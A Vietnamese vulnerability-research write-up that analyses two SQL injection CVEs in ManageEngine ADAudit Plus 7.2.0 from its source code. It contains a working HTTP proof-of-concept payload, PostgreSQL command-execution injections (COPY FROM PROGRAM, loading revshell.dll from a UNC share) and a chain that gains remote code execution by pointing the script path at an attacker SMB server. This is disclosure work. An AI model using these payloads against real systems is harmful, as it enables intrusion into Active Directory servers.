Chuyện lâu rồi giờ mới kể là dạo gần đây mình có dịp được nghiên cứu về các sản phẩm open-source và target lần này mình chọn đó là ManageEngine Adaudit Plus, một sản phẩm của Zoho.
Trước đó product này cũng có nhiều CVE nghiêm trọng rồi nhưng may mắn thay là lần này sau một thời gian audit mã nguồn thì mình vẫn tìm được một số lỗ hổng nghiêm trọng khác đang còn tồn đọng trên ứng dụng này, nên mình viết bài này để chia sẻ một số thứ về chúng và cũng mong muốn rằng đây có thể là một phần tài liệu cho những ai sắp hoặc đang có ý định nghiên cứu về những products của ZOHO.
ManageEngine ADAudit Plus là một giải pháp giám sát và báo cáo hoạt động Active Directory toàn diện, cung cấp bởi ManageEngine. Đây là một công cụ quan trọng cho việc đảm bảo tuân thủ quy định, bảo mật dữ liệu và quản lý hiệu suất hệ thống ( theo Chat-GPT =]]] ).
#Effected version
Zoho ManageEngine Adaudit Plus 7.2.0 Build 7250
#Remote debug
Để thực hiện việc remote debug thì điều tiên ta cần extract hết các libs có trong thư mục cài đặt:
find . -type f -iname *.jar -exec cp {} adap_jars/ \;
Theo cá nhân mình để remote debug thì chỉ cần sửa lại file /bin/run.bat từ if "%1" == "debug" thành if "debug" == "debug" là được =))))
#Route handling
Trước khi phân tích sâu vào lỗ hổng thì mình sẽ nói sơ qua một chút về URL Mapping trên các ứng dụng ManageEngine.
Như bao các ứng dụng Java Web khác, các url pattern và các filters đều được định nghĩa ở các file .xml. Ví dụ như web.xml file, có thể cho ta biết được một endpoint sẽ được handle bởi một class tương ứng nào đó hoặc phải đi qua những filter chain nào, …
Ví dụ như file /webapps/adap/WEB-INF/web.xml định nghĩa như sau:
…
<servlet>
<servlet-name>ADSMServerStatusServlet</servlet-name>
<servlet-class>com.adventnet.sym.adsm.servlet.ADSMServerStatusServlet</servlet-class>
</servlet>
…
<servlet-mapping>
<servlet-name>ADSMServerStatusServlet</servlet-name>
<url-pattern>/servlet/ADSMServerStatus</url-pattern>
</servlet-mapping>
…
Điều này được hiểu đơn giản rằng /servlet/ADSMServerStatus endpoint được handle bởi class com.adventnet.sym.adsm.servlet.ADSMServerStatusServlet.
Ngoài ra, một điều không kém phần quan trọng nữa rằng ở file /webapps/adap/WEB-INF/security/security.xml cho ta biết được rằng request đến một api endpoint sẽ cần những tham số nào, gọi bằng http method nào, có cần csrf token hay không, …
…
<url path="/api/json/fileanalysis/getFileAnalysisReportIds" dynamic-params="false" csrf="true" method="post"/>
<url path="/api/json/fileanalysis/getFileServers" dynamic-params="false" csrf="true" method="post">
<param name="JSONString" type="JSONObject" max-len="-1" template="FileAnalysisServerJSON"/>
</url>
…
Ngoài ra, ở class RestAPIHandler có một thuộc tính khá hay ho đó là apiMapping, thuộc tính này bao gồm danh sách chi tiết các api endpoint có thể xử lý và bên trong đó thể hiện chi tiết cả class lẫn method để handle api endpoint đó.

Ngoài ra còn một số file khác nữa như conf/adap/rest-api.xml, conf/adap/restapi-client-conf.xml, conf/FileAnalysis/restapi.xml,… nhưng đối với mình thường cách tốt nhất để tìm một method nào đó có được call trực tiếp thông qua endpoint nào hay không bằng cách là extract hết tất cả các file .xml ra một folder, thực hiện search và trace trực tiếp.
#CVE-2023-49335
Lỗ hổng xuất hiện ở chức năng getFileServers tại class com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler, ta thấy rằng ở conf/FileAnalysis/restapi.xml được định nghĩa như sau:
...
<ADAPRestApiMapping
UNIQUE_ID="ADAPRestApiMapping:UNIQUE_ID:763"
TAB_NAME="fileAnalysis"
URL_PATH="/fileanalysis/getFileServers"
CLASS_NAME="com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler"
METHOD_NAME="getFileServers"
DESCRIPTION="Get Configured File Servers"
/>
...
thì để call được getFileServers method thì restapi endpoint có url path là /fileanalysis/getFileServers. Thường các restapi sẽ có prefix là /api/json hoặc /api/xml

sau đó sẽ được RestAPIHandler xoá phần prefix và phần còn lại của url sẽ được dò trong apiMapping đã nói như ở bên trên.
Tóm lại là request đến /api/json/fileanalysis/getFileServers để call chức năng com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler:getFileServers().
Về phần hàm getFileServers():
public void getFileServers(HttpServletRequest request, HttpServletResponse response) throws Exception {
JSONObject reqData = new JSONObject(request.getParameter("JSONString"));
JSONObject serverInputParams = reqData.getJSONObject("inputParams");
// ...
HashMap<String, Object> returnListMap = getFileServers(serverInputParams, domainName, rb);
// ...
}
Cơ bản chổ này chương trình sẽ lấy untrust data từ tham số JSONString dưới dạng json từ user và sau đó tiếp tục lấy từ JSONString một json object khác từ thuộc tính inputParams, dữ liệu này sẽ được đặt vào hàm static getFileServers() xử lý tiếp.
private static HashMap<String, Object> getFileServers(JSONObject serverInputParams, String domainName, AdventNetResourceBundle rb) {
HashMap<String, Object> returnListMap = new HashMap();
try {
String uvhString = "AUDCVConfig:cv_id:200100";
serverInputParams.put("serverType", "fs");
...
long count = FileAnalysisServerHandler.getConfiguredServersCount(serverInputParams, domainName);
// ...
tiếp theo, đặt input tiếp tục vào hàm FileAnalysisServerHandler.getConfiguredServersCount()
public static long getConfiguredServersCount(JSONObject serverInputParams, String domainName) {
long count = 0L;
try {
JSONObject searchData = serverInputParams.optJSONObject("searchData");
String searchCriteria = null;
if (searchData != null) {
searchCriteria = "ADSMComputerGeneralDetails.NAME LIKE '%" + searchData.optString("NAME", "") + "%'";
}
count = (long)getCount(domainName, searchCriteria);
// ...
}
Lỗ hổng SQL injection xuất hiện khá là cơ bản tại đây khi ta có thể hoàn toàn điều chỉnh được phần điều kiện thông qua biến searchCriteria bằng việc cộng chuỗi với giá trị từ trường NAME được lấy từ serverInputParams. Và biến searchCriteria sẽ được đặt tiếp vào hàm static getCount()
private static int getCount(String domainName, String searchCriteria) {
int rowsCount = 0;
try {
long cvId = DBObjectUtil.getUVHValues("AUDCVConfig", "AUDCVConfig:cv_id:200201");
HashMap<String, String> hashMap = new HashMap();
hashMap.put("DOMAIN_NAME", domainName);
String queryStr = ADAPSQLQueryAPI.getInstance().getSQLCountString(cvId, searchCriteria, hashMap);
rowsCount = QueryUtil.getRowsCount(queryStr);
// ...
}
Hàm ADAPSQLQueryAPI.getInstance().getSQLCountString() có nhiệm vụ là construct một sql query từ các params đầu vào để tạo thành một câu truy vấn hoàn chỉnh, sau đó đặt vào hàm QueryUtil.getRowsCount() để thực thi.
Call stack:
com.adventnet.sym.adsm.common.server.sql.QueryUtil::getRowsCount()
com.adventnet.sym.adsm.auditing.server.fileanalysis.FileAnalysisServerHandler::getCount()
com.adventnet.sym.adsm.auditing.server.fileanalysis.FileAnalysisServerHandler::getConfiguredServersCount()
com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler::getFileServers() [private static]
com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler::getFileServers() [plubic void]
...
#CVE-2024-21791
Trên là một lỗ hổng SQL injection tương đối dễ thấy và cơ bản khi review source code, còn về CVE-2024-21791 thì cách tiếp cận của mình khi tìm ra bug này thì về cơ bản vẫn như bug trước, nghĩa là vẫn theo dõi flow-code, tìm ra các sink rồi trace ngược về tìm source. Nhưng đáng chú ý là ở phần này mình đã bỏ qua nhiều lần khi review source-code vì cứ ngỡ rằng không thể bypass, cũng may mắn là mình đã quyết định đi sâu vào phân tích thì nhận ra có một lỗ hổng trong hàm filter input, hàm này được thiết kế để phòng tránh sql injection.
Root cause của lỗ hổng này là sự nhầm lẫn trong quá trình biến đổi input lồng nhau giữa hai hàm CommonUtil.getSearchString() và hàm ReportHandlerUtil.getSearchString(). Cụ thể như sau:
Hàm CommonUtil.getSearchString():
// class CommonUtil
public static String getSearchString(String value, Boolean escape) throws Exception {
if (escape) {
value = EscapeUtil.escSplCharsAsSQLForLike(value);
}
int len = value.length();
if (len != 1 && (value.charAt(0) != '\\' || len != 2)) {
if (value.charAt(0) == '*' && value.charAt(len - 1) == '*') {
value = value.substring(1, len - 1);
value = "%" + value + "%";
} else if (value.charAt(len - 1) == '*') {
value = value.substring(0, len - 1);
value = value + "%";
} else if (value.charAt(len - 1) == '%') {
value = value.substring(0, len - 1);
value = value + "%";
} else if (value.charAt(0) == '*') {
value = value.substring(1, len);
value = "%" + value;
} else {
value = "%" + value + "%";
}
} else {
value = "%" + value + "%";
}
return value;
}
chủ yếu thực hiện vô hiệu hóa các ký tự đặc biệt (special chars) của input nếu escape=True bằng hàm EscapeUtil.escSplCharsAsSQLForLike() và đồng thời format lại input dưới dạng %…%, bởi vì đây là dữ liệu dùng để tìm kiếm ở where clause nên thường đặt bên trong cặp dấu %%
Và hàm ReportHandlerUtil.getSearchString():
// class ReportHandlerUtil
public String getSearchString(String columnName, String val, String dataType) {
if (dataType == null) {
return columnName + " LIKE '" + val + "'";
} else if (dataType.toLowerCase().indexOf("char") != -1) {
return columnName + " LIKE '" + val + "'";
} else {
val = val.replaceAll("%", "");
return columnName + " = " + val;
}
}
thực hiện hoàn chỉnh LIKE clause, ở đây ta chú ý rằng nếu kiểu dữ liệu của columnName là một trong hai dạng là null hoặc dạng bất kỳ của kiểu char thì value sẽ được đặt vào trong cặp dấu nháy đơn (‘), còn lại thì không.
Context cơ bản là như sau:
String search_value = input[0];
String column_name = input[1];
String searchCriteria = "";
String column_data_type = getColumnDataType(column_name);
searchCriteria = ReportHandlerUtil.getSearchString(column_name, CommonUtil.getSearchString(search_value, true), column_data_type);
String query = "SELECT * FROM users WHERE " + searchCriteria
Về cơ bản input đã bị escape thông qua hàm EscapeUtil.escSplCharsAsSQLForLike() bên trong hàm CommonUtil.getSearchString() vì thế nên một số ký tự như dấu nháy đơn (‘), dấu nháy kép (“), dấu backslash (), … đều không sử dụng được.
Cho nên vấn đề ở đây là, nếu ta tìm được một columnName có kiểu dữ liệu khác null và char (chẳng hạn như int) thì value sẽ không bị nhốt trong cặp dấu nháy đơn (‘) và dẫn đến có thể bypass sql injection.
Example:
String search_value = "*1337 and sleep(3)*";
String searchCriteria = "";
searchCriteria = CommonUtil.getSearchString(search_value, true)
// Output => %1337 and sleep(3)%
String column_name = "id";
String column_data_type = getColumnDataType(column_name);
// Output => column_data_type = "INT"
searchCriteria = ReportHandlerUtil.getSearchString(column_name, searchCriteria, column_data_type);
// Output => searchCriteria = "id = 1337 and sleep(3)"
String query = "SELECT * FROM users WHERE " + searchCriteria
// Output => query = "SELECT * FROM users WHERE id = 1337 and sleep(3)"
Lỗ hổng này có thể được trigger thông qua /api/json/report/getLockoutHistoryData endpoint, lúc này sẽ gọi hàm getLockoutHistoryData() của class com.adventnet.sym.adsm.auditing.webclient.ember.api.report.SubReportHandler như sau:
public void getLockoutHistoryData(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
// ...
JSONObject reportReqData = new JSONObject(request.getParameter("JSONString"));
JSONObject reportInputParams = reportReqData.getJSONObject("inputParams");
// ...
Long reportId = reportReqData.getLong("reportId");
// ...
String tabType = reportInputParams.getString("tabType");
// ...
if (tabType.equalsIgnoreCase("ws")) {
// ...
} else if (tabType.equalsIgnoreCase("dc")) {
// ...
columnList = ReportUtil.getInstance().getVisibleColumnList(reportcvId, true, true, false, (String)null, (String)null, rb); (1)
String searchCriteria = ReportHandler.getInstance().getSearchCriteria(reportInputParams, columnList, true); (2)
// ...
}
Nôm na là hàm này nhận inputParams từ JSON object được parse từ JSONString bên trong request body, có hai tham số cần lưu ý là reportId và tabType, để trigger được lỗi mình sẽ đi vào nhánh tabType=”dc”.
- Tại (1), biến
columnListsẽ lưu giữ danh sách các tên cột dựa vào tham sốreportcvIdmà ta truyền vào. - Và (2), biến
searchCriteriasẽ chứa câu điều kiện mà sau này sẽ được nối trực tiếp vào câu truy vấn (nguyên nhân dẫn đến SQL injection) để thực hiện lọc kết quả và hàmReportHandler.getInstance().getSearchCriteria()nhận vào hai tham số ta có thể control được làcolumnListvàreportInputParams.
Hàm ReportHandler.getSearchCriteria() cơ bản như sau:
public String getSearchCriteria(JSONObject reportReqData, ArrayList<HashMap<String, Object>> tableAllColumnList, Boolean needSearchCriteria) throws Exception {
// ...
if (reportReqData.has("searchData")) {
searchData = reportReqData.getJSONObject("searchData"); (3)
Iterator var6 = tableAllColumnList.iterator();
while(var6.hasNext()) { (4)
HashMap<String, Object> tableconfig = (HashMap)var6.next();
columnName = tableconfig.get("columnalias").toString();
// ...
if (searchData.has(columnName)) {
String columnSearchValue = searchData.get(columnName).toString(); (5)
tableconfig.put("searchValue", searchData.get(columnName).toString());
searchValue = null;
if (tableName != null) {
TableDefinition tableDefinition = MetaDataUtil.getTableDefinitionByName(tableName);
if (tableDefinition != null) {
ColumnDefinition columnDefinition = tableDefinition.getColumnDefinitionByName(columnName);
searchValue = columnDefinition != null ? columnDefinition.getDataType() : null; (6)
}
}
if (columnSearchValue != null && !columnSearchValue.equalsIgnoreCase("")) {
if (needSearchCriteria) {
columnSearchValue = CommonUtil.getSearchString(columnSearchValue, true); (7)
if (searchCriteria == null) {
searchCriteria = new String();
} else {
searchCriteria = searchCriteria + " AND ";
}
searchCriteria = searchCriteria + ReportHandlerUtil.getInstance().getSearchString(columnName, columnSearchValue, searchValue); (8)
} else {
// ...
}
// ...
return searchCriteria;
}
Tại:
- (3), lấy json object
searchDatatừreportReqDatalà inputParams ban đầu - (4), thực hiện loop danh sách các columns để construct các câu điều kiện sau WHERE với column value tương ứng
- (5), lấy columnValue hay nói cách khác là giá trị của column mà ta muốn tìm kiếm (ví dụ: id = 1) nếu như tồn tại tên column từ trong inputParams
- (6), biến
searchValuesẽ chứa kiểu dữ liệu của column từ columnName - (7), biến
columnSearchValuesẽ chứa giá trị sau khi thực hiện filter cơ bản và format columnValue dạng LIKE clause (%…%) qua hàmCommonUtil.getSearchString() - (8), nối chuỗi trực tiếp các điều kiện và chuỗi điều kiện trả về từ hàm
ReportHandlerUtil.getInstance().getSearchString()với các tham số truyền vào làcolumnName,columnSearchValuevàsearchValue
Như vấn đề đã được nêu từ đầu bài, chỉ cần tìm được một columnName có dataType không phải kiểu dữ liệu chuỗi là có thể bypass, sau một lúc lục tìm trên database thì mình tìm được column có tên là TIME_GENERATED có dataType là BIGINT thoã mãn được điều kiện này, trace ngược lại một lúc thì tìm được reportcvId=133.
Đến đây thì mọi thứ đã đâu vào đấy, proof of concept:
POST /api/json/report/getLockoutHistoryData HTTP/1.1
Host: adap:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0RnUk641RyfmYic
Content-Length: 865
Cookie: JSESSIONIDADAP=<session>; adapcsrf=<csrf-token>; JSESSIONIDADAPSSO=<session>
------WebKitFormBoundaryE0RnUk641RyfmYic
Content-Disposition: form-data; name="JSONString"
{"domainName":"nhienit.vn", "machineDomainName":"ahihi", "reportId":133, "cvId":133, "inputParams": {"workstation":"xxx","searchData": {"TIME_GENERATED":"*1337)) as AcctLckoutChangeCount; SELECT 1337-- -*"},"timeGenerated":1234,"accountName":"fooooo","columnAlias":"fooooo", "machineTypeStr":"fooooo", "domainFlatName":"fooooo","errorMessage":"fooooo", "isConfigured":true, "tabType":"dc"}}
------WebKitFormBoundaryE0RnUk641RyfmYic
Content-Disposition: form-data; name="adapcsrf"
<csrf-token>
------WebKitFormBoundaryE0RnUk641RyfmYic--
#RCE with PostgreSQL ????
Sau khi trigger thành công SQL injection, mình nhận thấy rằng ứng dụng cho phép thực hiện stack query, điều này khiến mình nghĩ đến việc tìm cách RCE ứng dụng này. Hệ thống quản trị cơ sở dữ liệu mặc định trên ứng dụng là PostgreSQL, nên đành vội test thử một số cách trên sách giáo khoa như:
Sử dụng COPY để RCE thông qua pg_execute_server_program group
{"domainName":"foooo", "inputParams":{"searchData":{"NAME":"injectxxxxxx'); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'calc.exe';-- -"}}}
kết quả thu được:

về cơ bản thì chỉ có super user mới có thể thực hiện được những chức năng đặc biệt này, sau đó mình đã thử thực hiện cách khác là load external dll:
{"domainName":"foooo", "inputParams":{"searchData":{"NAME":"injectxxxxxx'); CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\\\192.168.17.1\\share\\revshell.dll$$, $$connect_back$$ LANGUAGE C STRICT; SELECT remote_test($$calc.exe$$, 3);-- -"}}}
kết quả cũng không mấy khả quan do không có quyền thực thi ( Permission denied T_T )

mình cũng nghĩ đến trường hợp tạo một tài khoản có quyền cao hơn như administrator, nhưng nhận ra là bên trong ứng dụng không có chức năng nào có thể thực thi trực tiếp OS command cả (hoặc do mình tìm không thấy =]] )
~~ Betak time ~~

#Find the puzzle pieces to achieve RCE
Trên ứng dụng này có một chức năng khá đặc biệt là Alert Profiles

hiểu nôm na là khi ứng dụng được cài đặt lên một máy AD hay Windows Server nào đó, nó sẽ lắng nghe một số event trên máy đó ví dụ một số event như shutdown, lock screen, restart server, etc… thì chức năng này sẽ cho phép chạy một file script tương ứng khi một event được trigger.
Mặc định thì chỉ cho phép load scripts từ local, khi thực hiện tạo một ALertProfiles bất kỳ thì thông báo lỗi sẽ xuất hiện như bên dưới:

Đến lúc này trong đầu mình xuất hiện một số idea như sau và thực hiện kiểm chứng từng idea một, cụ thể như sau:
#Idea 1: Tìm lỗ hổng file upload tuỳ ý ??
Idea này không khả thi khi chỉ có một số chức năng như upload image (hoặc avatar) check các image byte header và upload file excel để import dữ liệu.
#Idea 2: Tìm lỗ hổng command injection trong chức năng run alert script ??
Sau khi script location được chỉ định, tuỳ theo extension của file mà sẽ chạy command phù hợp, ví dụ như file .ps1 sẽ dùng powershell.exe hoặc .vbs sẽ dùng wscript.

Command sau khi được parse thành những token sẽ đưa vào hàm CommonUtil.createProcess() để thực thi.

Hàm CommonUtil.createProcess() sẽ thực hiện gọi ProcessBuilder() để run os command. Đến đây có thể thấy os command injection không khả thi bởi vì command và các argument được phân tách rõ ràng nên không thể inject được.
#Idea 3: Change defaultScriptPath
Để hiểu rõ thì ta cần quan sát lại quá trình khi thực hiện tạo một AlertProfiles, cụ thể là hàm saveAlertProfile sẽ được call và input từ body request sẽ được parse và gán vào biến data.

Tại biến data sẽ lấy scriptLocation mà ta cung cấp làm tham số đầu vào cho hàm AlertScriptHandler.validateScriptCommand()

Hàm AlertScriptHandler.validateScriptCommand() cơ bản như sau:

nôm na là scriptLocation mà ta truyền vào sẽ được kiểm tra kỹ càng tránh path traversal, kiểm tra các đuôi extension hợp lệ,… trong đó, biến defaultScriptPath lưu trữ script path mặc định trên ứng dụng và được nối trực tiếp vào scriptLocation của chúng ta để tạo thành đường dẫn hoàn chỉnh sau đó lưu vào biến pathCheck.
Để lưu thành công thì đường dẫn pathCheck phải tồn tại, nghĩa là file script phải tồn tại trên server.

theo document về class File trên java (https://docs.oracle.com/javase/8/docs/api/java/io/File.html), class File hỗ trợ resolve cả SMB server nếu input bắt đầu bằng prefix \\ -> nghĩa là ta hoàn toàn có thể load script thông qua SMB server chẳng hạn như: \\192.168.17.1\exploit\exploit.ps1

quay ngược lại bài toán là làm sao có thể control được defaultScriptPath trên ứng dụng, đến đây ta trace ngược về nơi biến defaultScriptPath được khởi tạo.

Từ đầu ta có thể thấy rằng, giá trị của defaultScriptPath ban đầu được lấy từ ADSMPersUtil.getSyMParameter(“DEFAULT_SCRIPT_PATH”), nếu không tồn tại sẽ lấy tạm đường dẫn của hệ thống qua System.getProperty(“server.dir”).
Tiếp tục ta đi sâu vào ADSMPersUtil.getSyMParameter(“DEFAULT_SCRIPT_PATH”) thì ta thấy rằng giá trị DEFAULT_SCRIPT_PATH được lấy từ database ở table SystemParams và cột PARAM_NAME

kiểm tra trên database thì hoàn toàn rỗng :)))

~~~ Make sqli great again ~~~

đến đây mọi việc xem thử là ổn, chỉ cần insert vào địa chỉ SMB Server để load malicous script là mọi thứ hoàn hảo.

Nhưng còn một vấn đề nhỏ ở đây là ta không thể tuỳ ý thực thi ps1 tuỳ ý, vì mặc định policy trên Windows đã chặn.

Tuy nhiên, vẫn có một số cách bypass nhưng đa phần phải bổ sung thêm argument nữa hoặc một số cách thủ công để disable policy nhưng hoàn toàn vượt ngoài attack vector network.

May mắn thay, ứng dụng còn hỗ trợ thực thi .vbs và điều này vượt qua sự hạn chế đã nêu từ bên trên.

#Step to reproduces
- Khai thác SQL injection -> Inject
DEFAULT_SCRIPT_PATHparameter với value là địa chỉ Attacker SMB Server. - Khởi động lại ME Adaudit Plus để reload new config.
- Tạo một
Alert Profileđể thực thiVBS scripttrên máy attacker SMB server khi bất kỳ sự kiện nào được trigger (như đăng nhập, đăng xuất, etc.) - Thực hiện đăng nhập hoặc đăng xuất để trigger VBS Script.